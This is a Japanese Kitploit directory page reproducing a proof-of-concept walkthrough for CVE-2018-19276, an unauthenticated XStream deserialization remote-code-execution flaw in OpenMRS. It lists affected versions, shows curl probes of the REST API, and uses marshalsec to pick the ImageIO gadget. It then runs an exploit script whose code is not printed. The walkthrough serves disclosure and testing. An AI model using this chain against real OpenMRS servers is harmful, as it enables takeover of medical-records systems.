Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2018-19276 — CVE-2018-19276 - OpenMRS 安全でないオブジェクトの逆シリアライゼーション RCE | Kitploit
ツール/GitHubGitHub/mpgn/cve-2018-19276
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストペイロード開発
GitHubmpgn/cve-2018-19276

CVE-2018-19276

CVE-2018-19276 - OpenMRS 安全でないオブジェクトの逆シリアライゼーション RCE

リポジトリを見る
1647年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2018-19276 OpenMRS 安全でないオブジェクトデシリアライゼーション RCE

From https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607

ログイン不要で任意のコード実行を可能にする安全でないオブジェクトデシリアライゼーションです。Webservices モジュールの IP 制限ではこの攻撃を防ぐことはできません。

image

  • OpenMRS Platform 2.1.x < 2.1.4 のすべてのバージョン
  • OpenMRS Platform 2.0.x < 2.0.8 のすべてのバージョン
  • OpenMRS Platform 1.12.x < 1.12.1 のすべてのバージョン
  • OpenMRS Reference Application 2.8.x < 2.8.1 のすべてのバージョン
  • OpenMRS Reference Application 2.7.x < 2.7.2 のすべてのバージョン
  • OpenMRS Reference Application 2.6.x < 2.6.2 のすべてのバージョン

Bishop Fox の Security Associate である Nicolas Serra によって発見されました。

概念実証

公式ドキュメントを使って、OpenMRS の REST Web サービスがどのように動作するか確認してみましょう。

root@kitploit:~
curl -u admin:test -i 'http://localhost:8080/openmrs/ws/rest/v1/concept'

修正を確認しましょう:

  • https://github.com/openmrs/openmrs-module-webservices.rest/pull/369
  • https://github.com/openmrs/openmrs-module-webservices.rest/pull/372

次の情報が見つかります:

image https://github.com/openmrs/openmrs-module-webservices.rest/pull/369#issuecomment-443513473

彼らは基本的に、POST リクエストが XML の場合に Content-type をフィルタリングしています。つまり、XXE または安全でないデシリアライゼーションの可能性があります 👍

ドキュメントをもう一度確認してみましょう:

image

なるほど、これは便利ですね。REST Web サービスに XML を送信するとどうなるでしょうか?

root@kitploit:~
> curl -i -s -k  -X $'POST' -H $'Host: 127.0.0.1:8888' -H $'Content-Type: text/xml'  $'http://127.0.0.1:8888/openmrs/ws/rest/v1/concept'

HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=A896A8B1B0092400DBF74E2E8C365949; Path=/openmrs; HttpOnly
Content-Type: application/json;charset=UTF-8
Content-Length: 8980
Date: Mon, 11 Mar 2019 12:58:30 GMT
Connection: close

{"error":{"message":"[ : input contained no data]","code":"com.thoughtworks.xstream.io.xml.XppReader:126","detail":"com.thoughtworks.xstream.io.StreamException:  : input contained no data\n\tat com.thoughtworks.xstream.io.xml.XppReader.pullNextEvent(XppReader.java:126)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readRealEvent(AbstractPullReader.java:148)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readEvent(AbstractPullReader.java:141)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.move(AbstractPullReader.java:118)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.moveDown[...]

このエラーは非常に興味深いものを示しています : xstream.XStreamMarshaller

Java デシリアライゼーションを使用して RCE を誘発するため、素晴らしいツール marshalsec を使ってみましょう。

利用可能なガジェットを確認してみましょう:

root@kitploit:~
$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream -v 
No gadget type specified, available are [SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin, CommonsConfiguration, LazySearchEnumeration, BindingEnumeration, ServiceLoader, ImageIO, CommonsBeanutils]

ここで、XStream のすべてのガジェットを GitHub 検索して該当するものを見つけました。有望に見えるのは ImageIO ガジェットだけです:

image

試してみましょう:

image

それです!

エクスプロイト

root@kitploit:~
python CVE-2018-19276.py

image

リソース:

  • https://issues.openmrs.org/browse/RESTWS-742
  • https://www.bishopfox.com/news/2019/02/openmrs-insecure-object-deserialization/
  • https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607
  • https://wiki.openmrs.org/display/docs/REST+Web+Services+API+For+Clients#RESTWebServicesAPIForClients-SampleRESTcalls
ツールをダウンロード